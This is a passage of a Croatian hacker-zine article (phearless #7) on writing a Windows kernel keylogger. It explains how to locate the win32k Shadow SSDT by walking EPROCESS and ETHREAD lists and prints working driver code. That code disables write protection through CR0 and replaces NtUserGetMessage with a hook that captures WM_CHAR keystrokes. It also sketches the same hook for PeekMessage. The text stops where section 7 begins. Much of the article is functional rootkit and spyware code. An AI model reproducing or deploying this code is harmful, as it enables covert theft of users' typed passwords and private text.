................... ...::: phearless zine #7 :::... ........>---[ Windows kernel, keyboard independent, keylogger ]---<......... .........................>---[ by C0ldCrow ]---<............................ c0ldcrow.don@gmail.com //////////////////////////////////////////////////////////////////////////////// 1. MOTIVACIJA \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Keylogger sam po sebi, iako zanimljiv program, nije me nikada posebno zanimao. Moja zelja da napisem vlastiti keylogger izvire iz potrebe da naucim nesto o Windows operativnom sustavu i izradi filter drajvera. Takav pristup izradi keyloggera izrazito je obecavao zahvaljujuci velikoj kolicini informacija o izradi samih filter drajvera. Osim toga, lako je dostupan i kod koji ide uz dokumentaciju, pa cak i jedno cjeloukupno rjesenje keyloggera napisanog upravo u obliku filter drajvera za tipkovnicu.[1]-[2] Jedina bitna promjena koju je potrebno napraviti u odnosu na orginalni kod KLOG-a me motivirala da pokusam razviti drukciji keylogger. KLOG kao filter drajver biljezi virtualne kodove (eng. virtual-key codes). Virtualni kodovi su sami po sebi beskorisni pa KLOG ukljucuje dio koda koji odreduje koji kod pripada kojem znaku ovisno o layout-u, u ovom slucaju engleski. Za hrvatski layout koji koristim, konverzija bi bila drukcija, pa bi trebalo promjeniti taj dio koda. To se pokazalo kao najzahtjevniji dio problema. Iz ciste ljenosti problemom se nisam uopce pozabavio. Kako tih layouta ima poprilicno to znaci da bi morali dodati poprilicno koda kako bi osigurali da nas keylogger savrseno radi u sto je vise moguce razlicitih uvjeta. Moguc je i drukciji pristup na jos nizoj razini, direktnim presretanjem prekida s tipkovnice. Nazalost i takav pristup ne bi rjesio nas problem. Dapace, samo bi ga povecao. Na tako niskoj razini od tipkovnice bi prihvatili vrijednost koja predstavlja pritisnutu tipku, ali ta vrijednost ovisi o samoj tipkovnici. Takav keylogger morao bi podrzavati razlicite tipkovnice kako bi znao na pravilan nacin protumaciti vrijednost koju prihvati, a cak je i to daleko od pocetnog cilja da vidimo koja to slova korisnik unosi preko tipkovnice. Morati cemo se popeti po ljestvama ukoliko mislimo napraviti keylogger koji ne mora pretvarati kojekakve kodove u znakove, nego samo znakove zapisivati u datoteku na disku. Gledajuci s pozicije aplikacije koja se izvrsava u korisnickom nacinu rada, ne postoje kodovi koje je potrebno pretvoriti u znak kako bi razumjela unos korisnika. Aplikacija prihvaca unos korisnika u obliku teksta. To znaci da postoji kod u operativnom sustavu koji obavlja taj posao i isporucuje aplikaciji znakove. Ukoliko uspijemo "zaviriti" u taj proces mozemo napraviti keylogger koji ce prihvacati samo "zavrsni proizvod" - znak. //////////////////////////////////////////////////////////////////////////////// 2. I APPRECIATE YOUR INPUT \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Windows OS pruza aplikacijama okolinu pogonjenu dogadajima u kojoj aplikacija ne mora pozvati neku funkciju OS-a kako bi prihvatila unos korisnika, nego ceka dok joj OS ne dostavi unos. To se najbolje istice upravo na primjeru tipkovnice ili misa. Npr. ukoliko kliknemo misem na neki gumb u prozoru koji je kreirala aplikacija Windows ce upozoriti aplikaciju da je korisnik kliknio misem na odredeni gumb, te aplikaciji dalje prepustiti da odluci sto ce napraviti povodom tog dogadaja. Kada korisnik pritisne tipku na tipkovnici mehanizmom prekida OS prihvaca informaciju o tome koja tipka je pritisnuta. Informacija dolazi u obliku obicnog broja (sve je itako broj kad su racunala u pitanju) kojega msdn literatura naziva "scan code" [3]. "Scan code" zavrsava u drajveru za tipkovnicu. Drajver razumije vrijednost, odnosno razumije sto ta vrijednost predstavlja, buduci da je napisan bas za tu tipkovnicu i pretvara "scan code" u virtualni kod (eng. virtual-key). MSDN definira virtualni kod kao vrijednost koja je neovisna o tipkovnici, definirana od strane samog OS-a i ona odreduje tipku koja je pritisnuta [3]. Drajver tipkovnice generira poruku koja ukljucuje scan code, virtualni kod i dodatne informacije o tipci koja je pritisnuta. Tu poruku smjesta na sistemski red poruka (eng. system message queue). Otamo poruka odlazi na red poruka odredene dretve. A pak, otamo poruke ukljanja petlja poruke dretve i salje ih proceduri odgovarajuceg prozora. Sistemski red poruka je struktura podataka u koju idu sve poruke prije nego dodu do odgovarajuce dretve, a svaka dretva ima svoj red poruka gdje se nalaze poruke namjenjene iskljucivo njoj odnosno njezinim prozorima [4]. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Kojoj dretvi OS salje poruke o pritisnutim tipkama? Buduci da svaka dretva ima svoj red poruka potrebno je odluciti kojoj ce biti poslana poruka o pritisnutoj tipki. Poruka se salje onoj dretvi koja je vlasnik prozora koji trenutno ima svojstvo "keyboard focus" (MSND termin). "Keyboard focus" je privremeno svojstvo prozora koje prelazi s jednoga na drugi. Onaj prozor koji ima to svojstvo dobiva poruke o pritisnutim tipkama [4]. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Sada vec otprilike znamo sto trebamo napraviti. OS kreira poruku kada korisnik pritisne tipku, ta poruka sadrzi informacije o tome koja tipka je bila pritisnuta i ona se na kraju isporucuje aplikacijama prelaskom preko dva reda poruka. Jedan red poruka je sistemski a drugi je poseban za svaku dretvu. Imamo cetiri moguce lokacije na kojima mozemo presresti poruke. Prilikom ulaska i izlaska bilo iz sistemskog reda poruka ili onog za dretvu. Sistemski red poruka je nedokumentiran objekt unutar jezgre Windows-a, to nam otezava posao buduci da smo prakticki slijepi. Situacija nije ni puno bolja s druge strane. Svaka dretva ima svoj red poruka. Morali bi nadgledati svaki red poruka i pri tome paziti jos na nove dretve koje tek nastaju i one koje zavrsavaju. Bilo bi idealno kada bi postojala jedna funkcija koja raspodjeljuje poruke svakoj dretvi, pa bi onda mogli presresti tu funkciju. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Osim poruka koje generira OS postoje poruke koje generiraju i druge aplikacije te se one takoder mogu izmjenjivati izmedu aplikacija. No one nam nisu od interesa buduci da nisu kljucne za unos podataka iz tipkovnice. Takoder, postoji i veliki broj kategorija poruka koje OS kreira. Opet, od interesa nam je samo jedna kategorija. To su poruke koje pocinju s prefiksom WM - "General window messages" [4]. Jos jedna vazna informacija je da nema svaka dretva svoj red poruka. Samo GUI dretve imaju svoj red poruka [4]. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Poruke se na Windows OS-u izmjenjuju u obliku MSG strukture koja je dobro dokumentirana na MSDN-u. One poruke koje nastaju kao rezultat pritiska tipki su WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN i WM_SYSKEYUP. Te poruke zavrse na redu redu poruka one dretve ciji prozor ima svojstvo "keyboard focus". No, nazalost ni te poruke nam nisu zanimljive jer one sadrze samo virtualne kodove. Presretanjem samo tih poruka nebi daleko dospjeli od KLOG keyloggera, zapravo morali bi obavljati isti posao zbog kojega smo odlucili napraviti keylogger s drukcijim pristupom. Nama je zanimljiva poruka WM_CHAR. Ta poruka zavrsi na redu poruka dretve onda kada API funkcija TranslateMessage prevede neku od upravo spomenutih WM poruka (postoji i WM_SYSCHAR) [5]. API funkcija GetMessage dohvaca sljedecu poruku s reda poruka dretve koja ju je pozvala. TranslateMessage i GetMessage API funkcije sastavni su dio petlje unutar dretve koja radi s porukama [6]. U [6] petlja je definirana ovako: -------------------------------------------------------------------------------- MSG msg; BOOL bRet; while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { if (bRet == -1) { // handle the error and possibly exit } else { TranslateMessage(&msg); DispatchMessage(&msg); } } -------------------------------------------------------------------------------- GetMessage dohvaca poruku s reda poruka. Pozivom API funkcije TranslateMessage WM_KEY* poruke se prevode u WM_CHAR i ponovo stavljaju na red poruka dretve koja poziva te API funkcije. DispatchMessage API funkcija samo poziva proceduru onog prozora kome je poruka namjenjena. Vazan detalj u ovom procesu je sto se dogada s WM_CHAR porukom nakon sto nastane kao rezultat neke od WM_KEY* poruka. TranslateMessage API funkcija tu poruku ponovo salje na red poruka dretve. To znaci, da ce u krajnjoj liniji i API funkcija GetMessage dohvatiti WM_CHAR poruku. Pod pretpostavkom da svaka GUI dretva koja se izvodi koristi API funkciju GetMessage za dohvacanje poruka, mozemo napraviti keylogger koji ce zamjeniti funkciju GetMessage i sam obavljati taj posao, naravno, pritom biljezeci sve WM_CHAR poruke na koje naleti. //////////////////////////////////////////////////////////////////////////////// 3. QUIDQUID LATET APPAREBIT \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Sto stoji iza API funkcije GetMessage? Umjesto da pretrazujemo po internetu i knjigama, tako specificne informacije najlakse cemo dobiti ukoliko sami isprobamo na stvarnom primjeru. Pocnemo tako da napisemo jednostavan program koji poziva GetMessage. Pri pogledu na njegov IAT vidimo da se referencira na user32.dll u kojemu bi trebala biti definirana API funkcija GetMessage. Sada vec mozemo pretpostaviti da, ukoliko iza API funkcije GetMessage stoji neka kernel funkcija, ce ona biti definirana u win32k.sys kernel drajveru. user32.dll sadrzi API funkcije koje sluze za izgradnju i upravljanje korisnickim suceljem. win32k.sys kernel drajver je kernel kod koji podrzava user32.dll. On sadrzava kernel kod za izgradnju korisnickog sucelja i opcenito interakciju s korisnikom. Nastavljamo dalje s datotekom user32.dll. Kako bi pogledali u unutrasnjost moze nam posluziti IDA Pro. U popisu funkcija vidim GetMessageW. GetMessageW ocito obavlja pripremne radnje za poziv funkcije _NtUserGetMessage. Ona pak ima samo par linija asm koda: -------------------------------------------------------------------------------- .text:77D4918F mov eax, 11A5h .text:77D49194 mov edx, 7FFE0300h .text:77D49199 call dword ptr [edx] -------------------------------------------------------------------------------- U eax ide vrijednost 0x11a5. Ona predstavlja indeks sistemske funkcije u SSDT (index mozemo citati i kao redni broj). To je dio standardne procedure poziva sistemskih funkcija na Windows OS-u. Adresa u edx registru nas vodi u ntdll.dll na KiFastSystemCall funkciju koja ima kljucnu instrukciju "sysenter". Nakon nje prelazimo u kernel nacin rada i izvrsiti cemo funkciju koju smo odredili indeksom u registru eax (istina, nece se odmah po prelasku u kernel nacin rada izvristi trazna funkcija). Koja se to funkcija izvrsava u kernel nacinu rada? U IDA-i Pro otvaramo drugu datoteku - win32k.sys. Nije problem naci funkciju NtUserGetMessage. To je funkcija koja se skriva pod indeksom 0x11a5. Unutrasnji nacin funkcioniranja NtUserGetMessage funkcije nam uopce nije vazan. Buduci da cemo mi napraviti laznu funkciju kojoj cemo zamjeniti NtUserGetMessage (osigurati da nasa lazna funkcija bude pozvana prije nje) ali cemo unutar nase lazne funkcije odmah pozvati NtUserGetMessage da obavi posao koji je nuzan za pravilno funkcioniranje cijelog sustava. Vazni su nam samo paramteri koje prihvaca NtUserGetMessage funkcije. Vidimo da ih ima isto koliko i parametara za GetMessage i uz malo istrazivanja vidimo da su to isti paramteri (istog tipa - to je jedino vazno). +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Kako mozemo 100% biti sigurni da je NtUserGetMessage ono sto trazimo? Na ovaj nacin koji sam opisao ne mozemo. Morali bi pogledati sto tocno radi kod "system service dispatchera" za indeks 0x11a5. To mozemo uz pomoc WinDbg-a krecuci se kroz kod nakon sysenter instrukcije u ntdll.dll-u. Mogli bi takoder uz pomoc WinDbg-a pogledati koja je to adresa na indeksu 0x11a5 te pogledati da li kod odgovara kodu funkcije NtUserGetMessage. Ali na kraju, sasvim je logicno da iza funkcije u user32.dll koja se zove _NtUserGetMessage i stavlja indeks 0x11a5 u eax stoji funkcija NtUserGetMessage u win32k.sys. Bilo bi krajnje smjesno kada bi se ispostavilo da indeks 0x11a5 odgovara funkciji NtUserSetTimer(). +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ //////////////////////////////////////////////////////////////////////////////// 4. FOOL ME ONCE - SHAME ON YOU \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Prije nego sto krenemo na sami proces i probleme kod hooking-a API funkcija u kernel dajveru win32k.sys moram navesti par pojmova i jasno ih definirati. Pojmovi se ticu nekih tablica unutar kernela koje se pak koriste kod poziva sistemskih funkcija. Bez jasno definicije sta stoji iza kojega pojma vrlo se lagano spetljati i krenuti u krivome smjeru. Prva dva pojma su: KeServiceDescriptorTable i KeServiceDescriptorTableShadow. Oni oznacavaju jednu te istu strukturu podataka u kernelu koja je definirana ovako: -------------------------------------------------------------------------------- typedef struct _ServiceDescriptorEntry { ULONG *ServiceTableBase; ULONG *ServiceCounterTableBase; ULONG NumberOfServices; UCHAR *ParamTableBase; } ServiceDescriptorEntry; typedef struct _SSDT_DescriptorTables { ServiceDescriptorEntry ServiceTables[4]; } SSDTDescriptorTables; -------------------------------------------------------------------------------- I KeServiceDescriptorTable i KeServiceDescriptorTableShadow su pokazivaci na struct _SSDT_DescriptorTables. Oni sadrze adresu te strukture unutar kernela. Adrese su razlicite sto znaci da ima dvije takve strukture [7]. Nastavljamo dalje. Ta struktura ima 4 druge unutar sebe. Svaka od te 4 opisuje jednu SSDT (System Service Dispatch Table). KeServiceDescriptorTable u vecini slucajeva ima popunjeno samo prvi unos, i on opisuje SSDT iz ntoskrnl.exe. KeServiceDescriptorTableShadow ima popunjeno prva dva unosa, prvi je opet za SSDT iz ntoskrnl.exe, a drugi za SSDT iz win32k.sys. Od sada pa na dalje u ovom tekstu. Kada kazem KeServiceDesciptorTableShadow mislim na strukturu struct _SSDT_DescriptorTables (tj. pokazivac na tu strukturu), a pod terminom "Shadow SSDT" mislim tocno na: KeServiceDescriptorTableShadow->ServiceTables[1].ServiceTableBase Znaci, samo mjesto u kernelu na kojemu su zapisane adrese API funkcija iz win32k.sys kernel drajvera. Hooking API funkcija koje se nalaze u win32k.sys znatno se razlikuje od hookinga onih API funkcija koji se nalaze u ntoskrnl.exe. Imamo dva problema koja prvo moramo rjesiti kako bi napravili hooking na jednaki nacin kao i u ntoskrnl.exe. Prvi problem je nedostupnost adrese KeServiceDescriptorTabelShadow. Bez toga nikako ne mozemo doci do Shadow SSDT-a. KeServiceDescriptorTable je lagano dostupan, ali nazalost to nam ne pomaze buduci da on ne sadrzava podatke o Shadow SSDT. win32k.sys kada se prvi puta ucita u kernel registrira novu SSDT koristeci funkciju KeAddSystemServiceTable(). Kako system service dispatcher (KiSystemService) zna u kojoj tablici treba traziti adresu funkcije? On provjerava 12 i 13 bit broja index-a i prema ta dva bita odreduje u kojoj tablici treba traziti adresu. Ostalih 12 bitova koristi kao index u tablici. U nasem slucaju imamo broj 0x11a5 12 i 13 bit su 01 pa prema tome on ce traziti adrese u drugoj SSDT. Windows OS dopusta maksimalno 4 takve tablice (kao sto se vidi iz strukture struct _SSDT_DescriptorTables). Jedan od nacina pronalazenja trazene adrese predstavljen je u tekstu Alexandera Volynkina [8]. Ovdje cu predstaviti drukciji nacin trazenja adresa koji sam ja koristio. Ono sto ce nam omoguciti trazenje adrese je cinjenica da u ETHREAD strukturi (koja opisuje svaku dretvu koja postoji na racunalu) postoji element koji se zove ServiceTable. On je tipa pokazivac na void. U njemu je zapisana vrijednost KeServiceDescriptorTable. Tu postoji bitna razlika izmedu GUI i obicne dretve. GUI dretve na mjestu ServiceTable-a u strukturi ETHREAD imaju zapisane vrijednost KeServiceDescriptorShadow [9]. KTHREAD se nalazi odmah na pocetku ETHREAD bloka. Buduci da lagano mozemo saznati adresu KeServiceDescriptorTable, i buduci da su ETHREAD zapravo cini dvostruko vezanu listu, mozemo se kretati po toj listi, citati ServiceTable clan svake dretve i usporedivati ga s vrijednoscu KeServiceDescriptorTable. Cim dodemo do one razlicite vrijednosti znamo da je rijec o KeServiceDescriptorTableShadow. Potragu za GUI dretvom mogli bi poceti i od PsGetCurrentThread() ali prvo cemo naci EPROCESS strukturu nekoga GUI procesa jer ce nam trebati kasnije. Potom cemo od te EPROCESS strukture krenuti prema ETHREAD u potrazi trazenom adresom. //////////////////////////////////////////////////////////////////////////////// 5. TRAZI I NACI CES \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ U ovom djelu teksta nalazi se kod koji trazi KeServiceDescriptorTableShadow. Krecemo s funkcijom FindGUIProcess() koja trazi ETHREAD blok nekog GUI procesa. Po cemu raspoznajemo GUI procese od ostalih? Za to nam sluzi jedan clan u ETHREAD bloku: kd>dt _eprocess (...) +0x130 Win32Process : Ptr32 Void (...) Ukoliko process nema niti jednu GUI dretvu taj pokazivac je postavljn na vrijednost 0, ukoliko proces ima GUI dretvu taj pokazivac pokazuje na internu strukturu win32k.sys-a, koju taj drajver odrzava za sve GUI procese. Pa, prema tome, taj clan mozemo koristiti kao indikator koji ce nam pokazati da li je rijec o GUI procesu. -------------------------------------------------------------------------------- ULONG FindGUIProcess(void) { ULONG CurrentEproc, Win32Process, StartEproc; PLIST_ENTRY ProcessLink=NULL; int Count=0; CurrentEproc=Win32Process=StartEproc=0; CurrentEproc=(ULONG)PsGetCurrentProcess(); StartEproc=CurrentEproc; Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process)); while(1) { if( Win32Process!=0 ) return CurrentEproc; if( (Count>=1)&&(CurrentEproc==StartEproc) ) return 0; ProcessLink=(PLIST_ENTRY)(CurrentEproc+OffsetEP_NextEPFlink); CurrentEproc=(ULONG)ProcessLink->Flink; CurrentEproc=CurrentEproc-OffsetEP_NextEPFlink; Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process)); Count++; } return 0; } -------------------------------------------------------------------------------- Slijedi funkcija FindShadowTable() koja vraca vrijednost KeServiceDescriptorTableShadow za odredeni GUI EPROCESS blok. Radi na maloprije opisani nacin. S time da je tu malo upitno koje pokazivace koristit za kretanje po ETHREAD bloku. Ima vise LINK_ENTRY struktura unutar ETHREAD bloka. Nisam jos siguran koja cemu sluzi. Ja koristim onu na offsetu 0x22c. A, kada se prvi put uputimo iz EPROCESS bloka u ETHREAD doci cemo na LIST_ENTRY na offsetu 0x1b0 pa otamo onaj OffsetET_NextKTFlink na pocetku pretrazivanja. -------------------------------------------------------------------------------- ULONG FindShadowTable(ULONG GUIEprocess) { ULONG CurrentEthread, CurrentTable, StartEthread, ServiceTable; PLIST_ENTRY ThreadLink=NULL; int Count=0; CurrentEthread=CurrentTable=StartEthread=ServiceTable=0; ServiceTable=(ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase)); CurrentEthread=*((ULONG *)(GUIEprocess+OffsetEP_NextETFlink)); CurrentEthread=CurrentEthread-OffsetET_NextKTFlink; StartEthread=CurrentEthread; CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable)); while(1) { if( CurrentTable!=ServiceTable ) return CurrentTable; if( (Count>=1)&&(CurrentEthread==StartEthread) ) return 0; ThreadLink=(PLIST_ENTRY)(CurrentEthread+OffsetET_NextETFlink); CurrentEthread=(ULONG)ThreadLink->Flink; CurrentEthread=CurrentEthread-OffsetET_NextETFlink; CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable)); Count++; } return 0; } -------------------------------------------------------------------------------- Slijede deklaracije i DriverEntry() funkcija koja poziva ove dvije funkcije: -------------------------------------------------------------------------------- #define OffsetEP_Win32Process 0x130 /* EPROCESS.Win32Process */ #define OffsetEP_NextEPFlink 0x88 /* EPROCESS.ActiveProcessLink.Flink */ #define OffsetEP_NextETFlink 0x50 /* EPROCESS.KPROCESS.ThreadListEntry.Flink */ #define OffsetET_NextKTFlink 0x1b0 /* ETHREAD.KTHREAD.ThreadListEntry.Flink */ #define OffsetET_NextETFlink 0x22c /* ETHREAD.ThreadListEntry.Flink */ #define OffsetET_ServiceTable 0xe0 /* ETHREAD.KTHREAD.ServiceTable */ #pragma pack(1) typedef struct _ServiceDescriptorEntry { ULONG *ServiceTableBase; ULONG *ServiceCounterTableBase; ULONG NumberOfServices; UCHAR *ParamTableBase; } ServiceDescriptorEntry; #pragma pack() typedef struct _SSDT_DescriptorTables { ServiceDescriptorEntry ServiceTables[4]; } SSDTDescriptorTables; extern ServiceDescriptorEntry KeServiceDescriptorTable; NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { ULONG GUIEprocess, *GetMessageAddr; SSDTDescriptorTables *ShadowTable=NULL; GUIEprocess=0; KeEnterCriticalRegion(); GUIEprocess=FindGUIProcess(); KeLeaveCriticalRegion(); KeEnterCriticalRegion(); ShadowTable=(SSDTDescriptorTables *)FindShadowTable(GUIEprocess); KeLeaveCriticalRegion(); -------------------------------------------------------------------------------- Koristimo kriticne odsjecke kako bi se osigurali. Naime i ETHREAD i EPROCESS gradevni su elemeti dvostruko vezane liste koje predstavljaju dinamicne strukture podataka u kernelu, buduci da nove deretve i procesi mogu nastati ili prekinuti s radom u bilo kojem trenutku i time su njihovi EPROCESS i ETHREAD blokovi obrisani ili uneseni u listu. Kako mi ne koristimo nikakvo definirano sucelje za pretrazivanje tih lista moramo paziti da se one ne promjene dok ih pretrazujemo. Mana ovog pristupa jesu offseti koje nam koriste za kretanje po ETHREAD i EPROCESS blokovima. Oni su specificni za svaku verziju OS-a i SP-a. Sada dolazimo i do toga zasto nam je potrebna adresa EPROCESS bloka nekoga GUI procesa. Razlog je da izbjegnemo PAGE_FAULT_IN_NONPAGED_AREA BSOD. Problem je u MmPageEntireDriver() koji od win32k.sys napravi pageble drajver. Ponasa se gotovo kao user mode process. To znaci da ukoliko uvjeti nisu pravi necemo uopce moci doci do Shadow Table-a jer jednostavno ta virtualna adresa nece biti mapirana. Pod povoljnom okolinom mislim na to da moramo biti u kontekstu onog procesa u kojemu ta virtualna adresa ima smisla. Jer o virtualnim adresama mozemo samo govoriti u kontekstu procesa buduci da oni odreduju adresi prostor. A proces u kojemu ta adresa ima smisla je GUI proces jer on koristi funkcije iz win32k.sys-a. Prema tome da bi pisali po tim memorijskim adresama moramo promjeniti aktivni kontekst u neki GUI proces. Zato smo prvo trazili GUI EPROCESS. Promjenu konteksta mozemo napraviti pomocu funkcije KeAttachProcess(). Nasao sam prijedlog da bi se to takoder moglo ostvariti tako da napisemo svoj gui program koji ce pomocu IOCTL-a poslati drajveru neki komandu i kada se kod u drajveru bude izvrsavao on ce onda biti u kontekstu GUI procesa. No mislim da je ovakav nacin jednostavniji [10]. Sada nam slijedi da napravimo sam hooking funkcije NtUserGetMessage. Ovaj kratak kod bi trebao obaviti taj posao: -------------------------------------------------------------------------------- #define INDEX_GETMESSAGE 0x1a5 typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin, IN ULONG FilterMax); NTUSERGETMESSAGE OldGetMessage; GetMessageAddr=ShadowTable->ServiceTables[1].ServiceTableBase+INDEX_GETMESSAGE; KeAttachProcess((PEPROCESS)GUIEprocess); OldGetMessage=(NTUSERGETMESSAGE)(*GetMessageAddr); _asm { cli mov eax, cr0 and eax, not 10000H mov cr0, eax } *GetMessageAddr=NewGetMessage; _asm { mov eax, cr0 or eax, 10000H mov cr0, eax sti } KeDetachProcess(); -------------------------------------------------------------------------------- Vec sam prije spomenio zasto je index NtUserGetMessage() 0x1a5. Znaci da je njezina adresa 0x1a5 po redu u tablici. U ShadowTable->ServiceTables[1].ServiceTableBase je zapisana adresa pocetka tablice. Buduci da je ServiceTableBase pokazivac na ULONG kada na njega dodamo INDEX_GETMESSAGE zbog lijepe stvari koja se zove aritmetika pokazivaca kompajler ce automatski to uvecati u koracima od 4 bajta (velicina ULONG-a) i time odmah dolazimo do adrese na kojoj je zapisana adresa NtUserGetMessage() funkcije. ServiceTableBase moze biti i pokazivac na char ali bi onda morali zbrojiti s INDEX_GETMESSAGE*sizeof(ULONG). Inace ce kompajler zbrajati u koracima od jedan bajt. Ovakve sitnice je vazno shvatiti, uprotivnome mogli bi zaraditi dodatno vrijeme uz WinDbg. Nakon sto promjenimo kontekst u GUI proces, prvo sto moramo napraviti je spremiti adresu NtUserGetMessage() funkcije. OldGetMessage je pokazivac na tu funkciju i pomocu njega cemo kasnije pozvati orginalnu funkciju u nasoj "laznoj" funkciji. Druga linija u gornjem kodu definira tip pokazivac na funkciju NtUserGetMessage(). To nam opet treba za kompajler kako bi on znao kako pravilno pozvati funkciju. Treba paziti da broj argumenata bude jednak i da im velicina bude jednaka inace nece pravilno pozvati funkciju i nastaju problemi. Asm dio koda sluzi da onesposobimo prekide, uklonimo zastitu jer SSDT je zasticen od pisanja. Potom zamjenimo adresu prave funkcije s nasom laznom. Ovakav nacin skidanja zastite i osiguravanje atomiranosti operacije kroz onesposobljavanje prekida nije bas prikladan svugdje. Na MP racunalima trebali bi koristiti neki robusniji mehanizam zastite i kernel funkcije za atomirane operacije. Unutar nase lazne funkcije nista posebno -------------------------------------------------------------------------------- typedef struct _POINT { ULONG x; ULONG y; } POINT; typedef struct _MSG { ULONG hWnd; ULONG message; ULONG wParam; ULONG lParam; ULONG time; POINT pt; } MSG, *PMSG; NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin, IN ULONG FilterMax) { NTSTATUS APIStatus; PMSG MsgStruct; APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax); MsgStruct=(PMSG)pMsg; if( MsgStruct->message==WM_CHAR ) { /* Message we're looking for */ } return APIStatus; } -------------------------------------------------------------------------------- Prvo pozovemo orginalnu funkciju koja ce obaviti onaj pravi posao. Izvrsavanje se potom vrati u nasu funkciju. Provjerimo da li je funkcija dohvatila WM_CHAR poruku, ako je samo trebamo zabiljeziti to. //////////////////////////////////////////////////////////////////////////////// 6. JA TE VOLIM JOS, PRICI NIJE KRAJ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Pri tome ne mislim da nam nedostaje mehanizam biljezenja tipki u datoteku na disku. Ovakav keylogger nece raditi ocekivano. Eksperimentalnim provjeravanjem jasno je da s njime ne mozemo zabiljeziti sve sto korisnik tipka. Negdje smo krivo pretpostavili nesto. S GetMessage mozemo uhvatiti otprilike polovicu onoga sto na tipkovnicu pisemo. Npr. Ukoliko u notpeadu pisemo tekst keylogger ce bez problema zabiljeziti svaki znak. S druge strane ukoliko pisemo tekst u address baru od windows explorera keylogger ne reagira. Potom opet u firefoxu radi, ali ne registrira ukoliko pritiscemo tipke na desktopu itd. Krivo smo pretpostavili da svaki program koji prihvaca unos korisnika ima bas onakvu petlju za primanje poruka tj. da koristi GetMessage(). Postoje programi koji uopce ne zovu GetMessage a uspjesno primaju korisnikov unos. Buduci da nisam znao mehanizam koji stoji iz toga odlucio sam prouciti jedan takav jednostavan program malo bolje. Kako bi uklonio sto vise nevaznih sitnica program koji sam proucio je izrazito jednostavan sto se tice korisnickog unosa. Korisnik tekst unosi u dva edit polja. Postoji jedna dialog procedura koja reagira na WM_COMMAND poruku i koristi GetDlgItemText() kako bi ucitala tekst koji je unesen u edit box. Prvo cemo krenuti od GetDlgItemText. Ukoliko program pomocu te funkcije dobiva unos korisnika mozemo pretpostaviti da iza nje stoji kernel funkcija koja obavlja taj posao. No analizom u Olly-u i ta pretpostavka se pokazala krivom. Iza GetDlgItemText ne stoji niti jedna kernel funkcija koja bi korisnikov unos isporucila aplikaciji. GetDlgItemText u krajnjoj linij kopira tekst koji je korisnik uneo u edit kontroli u memorijski spremnik koji dobiva kao argument. Taj tekst koji je korisnik uneo se i prije poziva funkcije nalazi u adresnom prostoru procesa. GetDlgItemText ga samo premjesta. Znaci tekst dolazi programu daleko prije no sto ga mi s GetDlgItemText funkcijom "pokupimo". Pitanje je kako? U takvom jednostavnom programu nemamo ni svoj message loop nego sve sto imamo je dialog procedura. Ta dialog procedura prima za argument poruku koju je primio dialog box i ovisno o toj poruci obavlja neku radnju. Ako postoji dialog procedura koja prima poruke negdje mora postojati i neki message loop koji ce uzimati te poruke i isporuciti ih dialog proceduri. Takva message loop postoji implicitno, nalazi se u user32.dll i ona za nas prihvaca poruke. Kada se taj program pokrene on prvo pozove DialogBoxParam funkciju. Ta funkcija is predloska napravi dialog box, prikaze dialog box i poziva njegovu proceduru. Dugim i strpljivim kretanjem kroz tu funkciju u olly-u i kroz puno funkcija koje ona poziva dosao sam do djela koji se poceo ponavljati u petlji i stalno je pozivao funkciju PeekMessage(). Slicilo je prilicno na message loop. A zanimljivo je da je funkcija bila pozivana s zadnjim parametrom PM_REMOVE kako bi uklonila poruku s message queue. Ista funkcionalnost kao i GetMessage(). Prema tome mozemo zakljuciti da postoji kod unutar user32.dll koji se takoder brine o unosu korisnika, ali on za message loop koristi PeekMessage(). Nedostaje nam jos hooking funkcije PeekMessage. Cak i ne moramo previse detalja znati o svakoj window controli i kako tocno message loop za njih ide, koja funkcija ga poziva, sto se tocno odvija unutra. Jednostavno cemo napraviti hooking i vidjeti jesmo li uspjeli. Sama tehnika je potpuno jednaka kao i za GetMessage. Iza PeekMessage stoji NtUserPeekMessage() u win32k.sys drajveru. U IDA-i se vidi index funkcije koji nam treba za pronalazak adrese. To je: -------------------------------------------------------------------------------- mov eax, 11DAh mov edx, 7FFE0300h call dword ptr [edx] retn 14h -------------------------------------------------------------------------------- Buduci da je tehnika hookinga potpuno jednaka (doslovno) ovdje necu davati kod posebno koji obavlja taj zadatak. Kod cijelog keyloggera dostupan je uz ovaj tekst, a ovdje prelazimo na sljedeci problem. //////////////////////////////////////////////////////////////////////////////// 7. TIME - WAY OF KEEPING EVERYTHING FROM 